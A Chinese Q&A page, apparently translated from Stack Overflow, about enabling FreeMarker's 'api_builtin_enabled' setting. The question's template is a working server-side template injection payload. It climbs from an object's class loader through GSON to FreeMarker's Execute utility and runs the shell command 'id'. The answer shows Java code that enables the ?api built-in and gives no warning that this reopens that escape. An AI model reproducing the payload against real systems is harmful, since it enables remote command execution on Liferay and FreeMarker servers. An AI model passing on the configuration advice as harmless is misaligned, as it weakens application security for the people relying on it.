首页 > 解决方案 > 如何在 freemarker java 中打开“api_builtin_enabled”?

问题描述

当我使用下面的模板时,我会得到错误。请帮我!

<#assign classLoader=object?api.class.protectionDomain.classLoader>
<#assign clazz=classLoader.loadClass("ClassExposingGSON")>
<#assign field=clazz?api.getField("GSON")>
<#assign gson=field?api.get(null)>
<#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
${ex("id")}

在此处输入图像描述

标签: javaliferayfreemarker

解决方案


最简单的使用freemarker模板生成html的java代码可以是: config.setAPIBuiltinEnabled(true); 线可能是您正在寻找的。

import freemarker.cache.ClassTemplateLoader;
import freemarker.core.Environment;
import freemarker.template.Configuration;
import freemarker.template.Template;
// ... other imports

private byte[] createHtmlContent() throws Exception {
    Map<String, Object> data = new HashMap<String, Object>();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    Writer w = new OutputStreamWriter(baos, StandardCharsets.UTF_8);
    
    Configuration config = new Configuration();
    config.setAPIBuiltinEnabled(true);
    
    config.setTemplateLoader(new ClassTemplateLoader(getClass(), "/META-INF/resources/ftl/"));
    Template template = config.getTemplate("template.ftl");
    
    Environment env = template.createProcessingEnvironment(data, w);
    env.setOutputEncoding("UTF-8");
    env.process();
    
    return baos.toByteArray();
}

推荐阅读